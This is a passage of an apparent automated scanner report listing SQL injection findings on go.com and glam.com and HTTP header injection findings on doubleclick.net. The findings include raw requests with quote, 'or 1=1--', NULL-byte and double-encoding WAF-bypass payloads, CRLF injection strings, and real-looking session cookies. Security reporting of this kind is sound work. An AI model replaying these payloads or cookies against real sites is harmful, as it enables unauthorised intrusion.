Cookie: SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; CRBLM=CBLM-001:; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; CRBLM_LAST_UPDATE=1298497363; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; s_sess=%20s_ppv%3D38%3B%20s_sq%3Dwdgespnewyork%252Cwdgespge%253D%252526pid%25253Despnnewyork%2525253Anewyork%2525253Ahome%2525253Aindex%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//espn.go.com/chicago/%252526ot%25253DA%3B%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B; s_pers=%20s_c24%3D1298576126466%7C1393184126466%3B%20s_c24_s%3DLess%2520than%25201%2520day%7C1298577926466%3B%20s_gpv_pn%3Despnchicago%253Ahome%253Aindex%7C1298577926489%3B

Response 2

HTTP/1.1 404 Not Found
Date: Thu, 24 Feb 2011 19:42:19 GMT
Server: Omniture DC/2.0.0
xserver: www618
Content-Length: 0
Content-Type: text/html


1.98. http://w88.go.com/b/ss/wdgespnewyork,wdgespge/1/H.21/s14645075346343 [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://w88.go.com
Path:   /b/ss/wdgespnewyork,wdgespge/1/H.21/s14645075346343

Issue detail

The REST URL parameter 5 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 5, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /b/ss/wdgespnewyork,wdgespge/1/H.21%00'/s14645075346343?AQB=1&ndh=1&t=23/1/2011%2015%3A43%3A23%203%20360&ns=espn&cdp=2&pageName=espnnewyork%3Anewyork%3Ahome%3Aindex&g=http%3A//espn.go.com/new-york/&cc=USD&ch=espnnewyork%3Anewyork&server=espn.go.com&events=event3%2Cevent38&products=ads%3B3358%3A82376%3A683492%3A82314%3B%3B%3Bevent38%3D1%2Cads%3B3359%3A82376%3A743207%3A82314%3B%3B%3Bevent38%3D1&c1=espnnewyork&h1=espnnewyork%3Anewyork%3Ahome%3Aindex&c2=D%3DSWID&c4=index&c5=espnnewyork%3Anewyork%3Ahome&c6=New&v7=%3Aunknown%3Aanonymous%3Aanonymous%3Apremium-no%3A&v9=en&c11=anonymous%3Apremium-no&v11=index%3Aespnnewyork%3Anewyork&v13=espnnewyork%3Anewyork%3Ahome%3Aindex&c17=en&c21=unknown&c22=unknown&c24=First%20Visit&c29=anonymous&c30=n&s=1364x768&c=16&j=1.6&v=Y&k=Y&bw=1226&bh=642&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: w88.go.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/new-york/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; CRBLM=CBLM-001:; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; CRBLM_LAST_UPDATE=1298497363; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B

Response 1

HTTP/1.1 404 Not Found
Date: Wed, 23 Feb 2011 22:00:31 GMT
Server: Omniture DC/2.0.0
Content-Length: 422
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /b/ss/wdgespnewyork,wdgespge/1/H.21 was not found on
...[SNIP]...
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
...[SNIP]...

Request 2

GET /b/ss/wdgespnewyork,wdgespge/1/H.21%00''/s14645075346343?AQB=1&ndh=1&t=23/1/2011%2015%3A43%3A23%203%20360&ns=espn&cdp=2&pageName=espnnewyork%3Anewyork%3Ahome%3Aindex&g=http%3A//espn.go.com/new-york/&cc=USD&ch=espnnewyork%3Anewyork&server=espn.go.com&events=event3%2Cevent38&products=ads%3B3358%3A82376%3A683492%3A82314%3B%3B%3Bevent38%3D1%2Cads%3B3359%3A82376%3A743207%3A82314%3B%3B%3Bevent38%3D1&c1=espnnewyork&h1=espnnewyork%3Anewyork%3Ahome%3Aindex&c2=D%3DSWID&c4=index&c5=espnnewyork%3Anewyork%3Ahome&c6=New&v7=%3Aunknown%3Aanonymous%3Aanonymous%3Apremium-no%3A&v9=en&c11=anonymous%3Apremium-no&v11=index%3Aespnnewyork%3Anewyork&v13=espnnewyork%3Anewyork%3Ahome%3Aindex&c17=en&c21=unknown&c22=unknown&c24=First%20Visit&c29=anonymous&c30=n&s=1364x768&c=16&j=1.6&v=Y&k=Y&bw=1226&bh=642&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: w88.go.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/new-york/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; CRBLM=CBLM-001:; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; CRBLM_LAST_UPDATE=1298497363; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B

Response 2

HTTP/1.1 404 Not Found
Date: Wed, 23 Feb 2011 22:00:31 GMT
Server: Omniture DC/2.0.0
xserver: www596
Content-Length: 0
Content-Type: text/html


1.99. http://w88.go.com/b/ss/wdgespvideo,wdgespge/0/FAS-2.8-AS3/s19650499410927 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://w88.go.com
Path:   /b/ss/wdgespvideo,wdgespge/0/FAS-2.8-AS3/s19650499410927

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /b%2527/ss/wdgespvideo,wdgespge/0/FAS-2.8-AS3/s19650499410927 HTTP/1.1
Host: w88.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response 1

HTTP/1.1 404 Not Found
Date: Wed, 23 Feb 2011 23:09:27 GMT
Server: Omniture DC/2.0.0
Content-Length: 446
Content-Type: text/html; charset=iso-8859-1
Connection: close

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /b%27/ss/wdgespvideo,wdgespge/0/FAS-2.8-AS3/s19650499
...[SNIP]...
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
...[SNIP]...

Request 2

GET /b%2527%2527/ss/wdgespvideo,wdgespge/0/FAS-2.8-AS3/s19650499410927 HTTP/1.1
Host: w88.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response 2

HTTP/1.1 404 Not Found
Date: Wed, 23 Feb 2011 23:09:26 GMT
Server: Omniture DC/2.0.0
xserver: www184
Content-Length: 0
Content-Type: text/html
Connection: close


1.100. http://w88.go.com/b/ss/wdgespvideo,wdgespge/0/FAS-2.8-AS3/s19650499410927 [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://w88.go.com
Path:   /b/ss/wdgespvideo,wdgespge/0/FAS-2.8-AS3/s19650499410927

Issue detail

The REST URL parameter 5 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 5, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /b/ss/wdgespvideo,wdgespge/0/FAS-2.8-AS3%00'/s19650499410927 HTTP/1.1
Host: w88.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response 1

HTTP/1.1 404 Not Found
Date: Wed, 23 Feb 2011 23:09:31 GMT
Server: Omniture DC/2.0.0
Content-Length: 427
Content-Type: text/html; charset=iso-8859-1
Connection: close

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /b/ss/wdgespvideo,wdgespge/0/FAS-2.8-AS3 was not foun
...[SNIP]...
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
...[SNIP]...

Request 2

GET /b/ss/wdgespvideo,wdgespge/0/FAS-2.8-AS3%00''/s19650499410927 HTTP/1.1
Host: w88.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response 2

HTTP/1.1 404 Not Found
Date: Wed, 23 Feb 2011 23:09:31 GMT
Server: Omniture DC/2.0.0
xserver: www187
Content-Length: 0
Content-Type: text/html
Connection: close


1.101. http://wellness.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://wellness.glam.com
Path:   /wp-content/plugins/menus-plus/javascriptmenu.php

Issue detail

The menu parameter appears to be vulnerable to SQL injection attacks. The payloads 50674406%20or%201%3d1--%20 and 50674406%20or%201%3d2--%20 were each submitted in the menu parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=150674406%20or%201%3d1--%20 HTTP/1.1
Host: wellness.glam.com
Proxy-Connection: keep-alive
Referer: http://wellness.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; PHPSESSID=hretqck57tr5s4l1p7dp779524; __utmb=234602824

Response 1

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Wed, 20 Apr 2011 18:37:54 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app135
Content-Length: 21003
X-Varnish: 303283730
Expires: Thu, 21 Apr 2011 01:37:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:37:57 GMT
Connection: close

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://fashion.glam.com/' title='Fashion' onmouseover='showSubMenu(4)' onmouseout='hideSubMenu();'>Fashion</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://trends.glam.com/' title='Trends' onmouseover='showSubMenu(5)' onmouseout='hideSubMenu();'>Trends</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://runway.glam.com/' title='Runway' onmouseover='showSubMenu(6)' onmouseout='hideSubMenu();'>Runway</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://designers.glam.com/' title='Designers' onmouseover='showSubMenu(7)' onmouseout='hideSubMenu();'>Designers</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://shopping.glam.com/' title='Shopping' onmouseover='showSubMenu(8)' onmouseout='hideSubMenu();'>Shopping</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://beauty.glam.com/' title='Beauty' onmouseover='showSubMenu(9)' onmouseout='hideSubMenu();'>Beauty</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://hair.glam.com/' title='Hair' onmouseover='showSubMenu(10)' onmouseout='hideSubMenu();'>Hair</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://makeup.glam.com/' title='Makeup' onmouseover='showSubMenu(11)' onmouseout='hideSubMenu();'>Makeup</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://skinbody.glam.com/' title='Skin &amp; Body' onmouseover='showSubMenu(12)' onm
...[SNIP]...

Request 2

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=150674406%20or%201%3d2--%20 HTTP/1.1
Host: wellness.glam.com
Proxy-Connection: keep-alive
Referer: http://wellness.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; PHPSESSID=hretqck57tr5s4l1p7dp779524; __utmb=234602824

Response 2

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Thu, 21 Apr 2011 01:37:58 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app135
Content-Length: 2378
X-Varnish: 303283835
Expires: Thu, 21 Apr 2011 01:37:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:37:58 GMT
Connection: close

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'></ul></div> "; document.write(string);var string ="<div onmouseover='showme();' onmouseout='hideme();' class='SubNav'><div id='submenu_active' ><ul style='width:550px' class='topsubnav' id='glam-menus-plus'><li class=''><a href='http://mindbodyspirit.glam.com/' title='Mind Body &amp; Spirit'>Mind Body &amp; Spirit</a></li><li class=''><a href='http://healthyplanet.glam.com/' title='Healthy Planet'>Healthy Planet</a></li><li class=''><a href='http://empowerment.glam.com/' title='Empowerment'>Empowerment</a></li></ul></div><style type='text/css'>._glam_search_button {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px 0; width: 55px; height: 20px;list-style:none} ._glam_search_twitter {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px -300px; width: 20px; height: 20px;} ._glam_search_facebook {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -495px; width: 20px; height: 20px;} ._glam_search_rss {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -1935px; width: 20px; height: 20px;}</style> <div class='SocialContainer'id='menusearch'><div class='SearchBox'><form role='search' name='searchform' method='get' id='searchform' action='http://www.glam.com' ><div class='search_controls'><input type='text' style='height:15px;' value='' name='search' id='search' /></div><div style='float:left;margin-top:3px;'><span onclick='javascript:document.searchform.submit();' style='cursor:pointer'><div class='_glam_search_button'></div></span></div></div> <ul class='social'> <a href='http://twitter.com/onglamfashion' target='_blank'><div class='_glam_search_twitter'></div></a> <a href='http://www.facebook.com/pages/Glamcom/144180538945796?ref=ts' target='_blank'
...[SNIP]...

2. HTTP header injection  previous  next
There are 31 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.


2.1. http://ad.doubleclick.net/ad/N3186.Glam/B5123462.24 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /ad/N3186.Glam/B5123462.24

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 9ce4f%0d%0aac0a5c1f86d was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /9ce4f%0d%0aac0a5c1f86d/N3186.Glam/B5123462.24;sz=1x1;pc=[TPAS_ID];ord=0.2317659705877304 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://health.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/9ce4f
ac0a5c1f86d
/N3186.Glam/B5123462.24;sz=1x1;pc=[TPAS_ID];ord=0.2317659705877304:
Date: Thu, 21 Apr 2011 01:39:11 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

2.2. http://ad.doubleclick.net/ad/N5295.Internet.com/B5200652.6 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /ad/N5295.Internet.com/B5200652.6

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 18288%0d%0ae6d3fc1125a was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /18288%0d%0ae6d3fc1125a/N5295.Internet.com/B5200652.6;sz=300x250;ord=202160337? HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb;

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/18288
e6d3fc1125a
/N5295.Internet.com/B5200652.6;sz=300x250;ord=202160337:
Date: Sat, 26 Feb 2011 01:58:23 GMT
Server: GFE/2.0
Connection: close

<h1>Error 302 Moved Temporarily</h1>

2.3. http://ad.doubleclick.net/ad/N6296.128238.MANTA.COM/B5149855.61 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /ad/N6296.128238.MANTA.COM/B5149855.61

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 83f7a%0d%0ae13b4210b90 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /83f7a%0d%0ae13b4210b90/N6296.128238.MANTA.COM/B5149855.61 HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb;

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/83f7a
e13b4210b90
/N6296.128238.MANTA.COM/B5149855.61:
Date: Sat, 26 Feb 2011 01:58:23 GMT
Server: GFE/2.0
Connection: close

<h1>Error 302 Moved Temporarily</h1>

2.4. http://ad.doubleclick.net/adi/N3175.134426.GOOGLECONTENTNETWO1/B4640114.10 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3175.134426.GOOGLECONTENTNETWO1/B4640114.10

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 46e58%0d%0ad12743e2198 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /46e58%0d%0ad12743e2198/N3175.134426.GOOGLECONTENTNETWO1/B4640114.10;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=Bp10zTX5lTciZE5_7lQeE9JCSBvvP_vwB47SQwRO_ic3PHgAQARgBIN2pmAI4AFDBnMn5BWDJhqOH1KOAEKABzdXY6QOyARB3d3cua29tb25ld3MuY29tugEKMzAweDI1MF9hc8gBCdoBH2h0dHA6Ly93d3cua29tb25ld3MuY29tL3dlYXRoZXKYAsoCuAIYwAIEyALj6egYqAMB0QOCjebmy6JxrugDP-gDuCroA7wE6AO5KfUDAAAARPUDIAAAAA&num=1&sig=AGiWqtzB4GPcUVih0rdhmgwjqhwnbga6Sw&client=ca-pub-9046165571664830&adurl=;ord=1431622572? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9046165571664830&format=300x250_as&output=html&h=250&w=300&lmt=1298518397&channel=6075235820&ad_type=text_image&color_bg=FFFFFF&color_border=CCCCCC&color_link=085192&color_text=FFFFFF&color_url=085192&flash=10.2.154&url=http%3A%2F%2Fwww.komonews.com%2Fweather&dt=1298497109003&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298497107724&frm=0&adk=1451502728&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=214183803&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&biw=1210&bih=642&ref=http%3A%2F%2Fwww.komonews.com%2F&fu=0&ifi=2&dtd=65&xpc=IMulXEmr70&p=http%3A//www.komonews.com
